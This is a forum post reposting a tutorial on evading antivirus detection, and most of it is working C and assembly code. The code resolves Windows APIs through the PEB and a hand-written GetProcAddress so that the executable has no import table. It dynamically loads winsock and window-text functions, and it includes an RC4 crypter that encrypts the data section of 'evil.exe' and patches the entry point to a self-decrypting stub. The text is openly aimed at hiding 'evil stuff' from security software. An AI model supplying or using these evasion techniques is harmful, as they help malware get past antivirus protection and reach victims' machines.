Jump to content
Nytro

Clever tricks against antiviruses

Recommended Posts

Clever tricks against antiviruses

I bet you have come across some software you’ve made which you didn’t want the AV to pick up. This article explains how to import from DLLs without having to call GetProcAddress, and also how to encrypt your data section. Anti-viruses rely heavily on their heuristics, if all other (signature) scans fail. The patterns they search for in your executable, are the functions being imported, and the order they are being called.

No imports!

Having no import table is relatively easy. There are however some functions I haven’t imported dynamically, but which are very normal in any application (libc functions).

The steps you need to do are:

Get the kernel32 module base address. (kernel32.dll is always loaded when the process is started, and so is ntdll.dll)

Make your own GetProcAddress

Use it to find LoadLibrary’s address, so that you can load other DLLs

Make the functions usable in a practical way, so that you don’t have to make a prototype for each of the functions that you will load

1. Get kernel32?s base address

The first step is easy. There are lots of methods out there to retrieve the kernel32 base address, whose list of supported platforms varies greatly. I will be retrieving the address using the PEB (the linked list of the modules’ initialization order). Code:

void __declspec(naked) *kernel_addr() {
// Get kernel32 base address through PEB (initialization order)
__asm {
mov eax, fs:[0x30] // PEB address
mov eax, [eax+0x0c] // PEB->Ldr
mov eax, [eax+0x1c] // Ldr.InInitializationOrderModuleList (ntdll)
mov eax, [eax] // [ntdll].Flink (kernel32)
mov eax, [eax+0x08] // kernel32 base address
ret
}
}

You can use whichever method you want, really, as long as the end result is the kernel32 base address.

2. Our own GetProcAddress

If you have ever had to deal with the PE format, you’d know that the exports have three main structures. These are the address table, the name table, and the ordinal table. The address table is simply just an array with RVAs to functions. There is one entry for every function exported. To get the real address, you add that RVA to the base address of the module.

The name table, is another array with RVA’s to the names of the functions. The names are just strings of characters terminated by a null byte.

The problem is, the names’ index doesn’t always correspond to the functions’ index. To retrieve the index, you use the ordinal table. The ordinal table is basically just an array with an index to the corresponding function. For example EAT[0] might be the function with the name ENT[42]. In this case, EOT[42] has the value of 0. So, the ordinal table is just another table, which maps a name to a function, using the name’s index to retrieve the function’s index.

void *my_gpa(HMODULE modl, char *fname) {
unsigned long modb = (unsigned long)modl;
IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)modb;
IMAGE_NT_HEADERS *nth = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew);
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress);
unsigned int i;

for(i = 0; i < ied->NumberOfNames; i++) {
const char *nn = (*(const char **)(ied->AddressOfNames+modb+i*sizeof(void *)))+modb;

if(!strcmp(fname, nn)) {
unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i*sizeof(unsigned short));
return (void *)((unsigned long)*(void **)(ied->AddressOfFunctions+modb+ordinal*sizeof(void *))+modb);
}
}

return NULL;
}

In our code, modb is the base address of the module. Using that, we make our way to the export directory (ied), which contains the RVAs to the three tables we need. They are ied->AddressOfNames, ied->AddressOfFunctions and ied->AddressOfNameOrdinals. There’s some pointer arithmetic going on there, along with some type casting. Our function works just like GetProcAddress. It takes a module base address, and a function name, and returns a function address. We iterate through each entry in the name table.

The string is retrieved through nn. (RVA of the table + base address + i*4)+base address – each entry in the table has the size of a word (32 bits = 4 bytes), so to get to the i’th entry, we add i*4. Once we’ve gotten to the i’th entry and dereferenced it, we add the base address to get the string’s address. If the name’s are the same, get the ordinal, the same way (except that one ordinal is the size of a short, 16 bits = 2 bytes). Then using the ordinal as an index, retrieve the address of the function and return it.

3. Getting LoadLibrary’s address

Easiest step. The code speaks for itself:

HMODULE (__stdcall *dyn_ll)(LPCTSTR lpFileName);
dyn_ll = my_gpa(kern, "LoadLibraryA");

4. Making it usable

You will probably want to load lots of functions, not just one or two. Writing the prototypes for all of them would be tedious. Let’s make an array of functions for each module we will load, then let’s also make a function to load the APIs into these arrays. I have used kernel32, user32, and winsock.

// don't forget to specify the correct calling convention

char *fn_kernel[] = {
"GetEnvironmentVariableA", // 0
"GetModuleFileNameA", // 1
"GetTickCount", // 2
"GetLocalTime", // 3
"CreateThread", // 4
"SetThreadPriority", // 5
};
unsigned long (__stdcall *func_kernel[sizeof(fn_kernel)/sizeof(*fn_kernel)])();

char *fn_user[] = {
"MessageBoxA", // 0
"GetForegroundWindow", // 1
"GetWindowTextA", // 2
};
unsigned long (__stdcall *func_user[sizeof(fn_user)/sizeof(*fn_user)])();

char *fn_wsock[] = {
"WSAStartup", // 0
"send", // 1
"connect", // 2
"socket", // 3
"gethostbyname", // 4
"closesocket", // 5
"recv", // 6
"WSACleanup", // 7
};
unsigned long (WSAAPI *func_wsock[sizeof(fn_wsock)/sizeof(*fn_wsock)])();

HMODULE (__stdcall *dyn_ll)(LPCTSTR lpFileName);

void *my_gpa(HMODULE modl, char *fname) {
unsigned long modb = (unsigned long)modl;
IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)modb;
IMAGE_NT_HEADERS *nth = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew);
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress);
unsigned int i;

for(i = 0; i < ied->NumberOfNames; i++) {
const char *nn = (*(const char **)(ied->AddressOfNames+modb+i*sizeof(unsigned long)))+modb;

if(!strcmp(fname, nn)) {
unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i*sizeof(unsigned short));
return (void *)((unsigned long)*(void **)(ied->AddressOfFunctions+modb+ordinal*sizeof(unsigned long))+modb);
}
}

return NULL;
}

void load_imports() {
HMODULE kern, user, wsock;
unsigned long i;

kern = kernel_addr();
dyn_ll = my_gpa(kern, "LoadLibraryA");
user = dyn_ll("user32.dll");
wsock = dyn_ll("ws2_32.dll");

for(i = 0; i < sizeof(fn_kernel)/sizeof(*fn_kernel); i++)
func_kernel[i] = my_gpa(kern, fn_kernel[i]);

for(i = 0; i < sizeof(fn_user)/sizeof(*fn_user); i++)
func_user[i] = my_gpa(user, fn_user[i]);

for(i = 0; i < sizeof(fn_wsock)/sizeof(*fn_wsock); i++)
func_wsock[i] = my_gpa(wsock, fn_wsock[i]);
}

int main(int argc, char *argv[]) {
WSADATA wsd;

load_imports();
// MessageBoxA
func_user[0](0, "MessageBoxA has been called!", "0wn3d.", MB_OK);
func_wsock[0](MAKEWORD(1, 0), &wsd); // WSAStartup
// evil stuff here
func_wsock[7](); // WSACleanup
return EXIT_SUCCESS;
}

Simple. :)

Encrypting your data section

This method is really easy, and of course it’s not nearly as good as the average packer, but it keeps AVs away from your strings.

I have used the rc4 cipher, but any symmetric stream cipher would do. We need to encrypt it from another separate program, and have our program decrypt itself. Code for the encryption program:

#include <windows.h>
#include <imagehlp.h>
#include <stdlib.h>
#include <stdio.h>

#define DATA ".data" // data section's name
#define KEY "DqHAI5VN" // encryption key
#define NEW 0x11c8 // new ep rva
#define REP 0x5e4 // offset to patch with the old ep

void rc4_ksched(unsigned char *key, unsigned long keylen, unsigned char sbox[0x100]) {
unsigned long i, j;

for(i = 0; i < 0x100; i++)
sbox[i] = (unsigned char)i;

for(j = i = 0; i < 0x100; i++) {
unsigned char tmp;

j = (j + sbox[i] + key[i % keylen]) & 0xff;
tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;
}
}

void rc4(unsigned char sbox[0x100], unsigned char *src, unsigned char *dest, unsigned long len) {
unsigned long i, j;

i = j = 0;
while(len--) {
unsigned char tmp;

i = (i + 1) & 0xff;
j = (j + sbox[i]) & 0xff;

tmp = sbox[i];
sbox[i] = sbox[j];
sbox[j] = tmp;

*dest++ = *src++ ^ sbox[(sbox[i] + sbox[j]) % 0xff];
}
}

int main(int argc, char *argv) {
FILE *f = fopen("evil.exe", "r+b");
IMAGE_DOS_HEADER dosh;
IMAGE_NT_HEADERS nth;
IMAGE_SECTION_HEADER sech, dummy;

if(!f) return 1;
memset(&dummy, 0, sizeof(dummy));
fread(&dosh, 1, sizeof(dosh), f);
fseek(f, dosh.e_lfanew, SEEK_SET);
fread(&nth, 1, sizeof(nth), f);
fread(&sech, 1, sizeof(sech), f);
while(memcmp(&sech, &dummy, sizeof(dummy))) {
if(!strcmp(sech.Name, DATA)) {
unsigned char sbox[0x100], *rd = malloc(sech.SizeOfRawData);
DWORD ep, epaddr;

rc4_ksched(KEY, 8, sbox);
fseek(f, sech.PointerToRawData, SEEK_SET);
fread(rd, 1, sech.SizeOfRawData, f);
rc4(sbox, rd, rd, sech.SizeOfRawData);
fseek(f, sech.PointerToRawData, SEEK_SET);
fwrite(rd, 1, sech.SizeOfRawData, f);
free(rd);
epaddr = ((unsigned long)&nth.OptionalHeader.AddressOfEntryPoint-(unsigned long)&nth)+dosh.e_lfanew;
fseek(f, epaddr, SEEK_SET);
ep = NEW;
fwrite(&ep, 1, 4, f);
fseek(f, REP, SEEK_SET);
ep = nth.OptionalHeader.AddressOfEntryPoint+nth.OptionalHeader.ImageBase;
fwrite(&ep, 1, 4, f);
fclose(f);
return EXIT_SUCCESS;
}
fread(&sech, 1, sizeof(sech), f);
}

fclose(f);
return EXIT_FAILURE;
}

What it does is that it searches for the data section, and when found, it reads it into memory, encrypts it, and writes it back.

But to be able to decrypt it we must have some piece of code in our own executable, which will decrypt the data section using our key, and then jump back to the old entry point.

void decrypt_data(unsigned long mod) {
char data[6];
IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)mod;
IMAGE_SECTION_HEADER *sech = (IMAGE_SECTION_HEADER *)(mod+dosh->e_lfanew+sizeof(IMAGE_NT_HEADERS));
IMAGE_SECTION_HEADER dummy;

data[0] = '.';
data[1] = 'd';
data[2] = 'a';
data[3] = 't';
data[4] = 'a';
data[5] = 0;
memset(&dummy, 0, sizeof(dummy));
while(memcmp(sech, &dummy, sizeof(dummy))) {
if(!strcmp(sech->Name, data)) {
unsigned char sbox[0x100], key[9];

key[0] = 'D';
key[1] = 'q';
key[2] = 'H';
key[3] = 'A';
key[4] = 'I';
key[5] = '5';
key[6] = 'V';
key[7] = 'N';
key[8] = 0;
rc4_ksched(key, 8, sbox);
rc4(sbox, (unsigned char *)mod+sech->VirtualAddress, (unsigned char *)mod+sech->VirtualAddress, sech->SizeOfRawData);
return;
}
sech++;
}

exit(EXIT_FAILURE);
}

void __declspec(naked) *gba() {
__asm {
mov eax, fs:[0x30] // PEB address
mov eax, [eax+0x08] // PEB->BaseAddress
ret
}
}

void __declspec(naked) new_ep() {
if(*(unsigned long *)magic != 'x86!')
decrypt_data((unsigned long)gba());
__asm {
push 0x41414141 // placeholder
ret
}
}

And in main:

unsigned long nep_addr;

int main(int argc, char *argv[]) {
WSADATA wsd;

nep_addr = (unsigned long)&new_ep;
load_imports();
// MessageBoxA
func_user[0](0, "MessageBoxA has been called!", "0wn3d.", MB_OK);
func_wsock[0](MAKEWORD(1, 0), &wsd); // WSAStartup
// evil stuff here
func_wsock[7](); // WSACleanup
return EXIT_SUCCESS;
}

We reference new_ep, because otherwise the optimizing compiler would notice that it is not called anywhere and would not generate code for it.

Here you will have to get some offsets. First compile the executable, and disassemble it. Find the RVA of new_ep, and put it in the encryption program source code. Then find the offset of the placeholder for the old entry point. The instruction will look like push 0×41414141. Add one to the address of that instruction, subtract the image base from it, subtract the RVA of the .text section from it, add the offset of the .text section to it, and there you have your offset. Now put it in the encryption source, compile it, run it, and everything is ready :)

Well, that was everything.

If you found this article helpful or have a question, feel free to post a comment.

Articolul mai elegant:

http://www.x-n2o.com/clever-tricks-against-antiviruses/

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...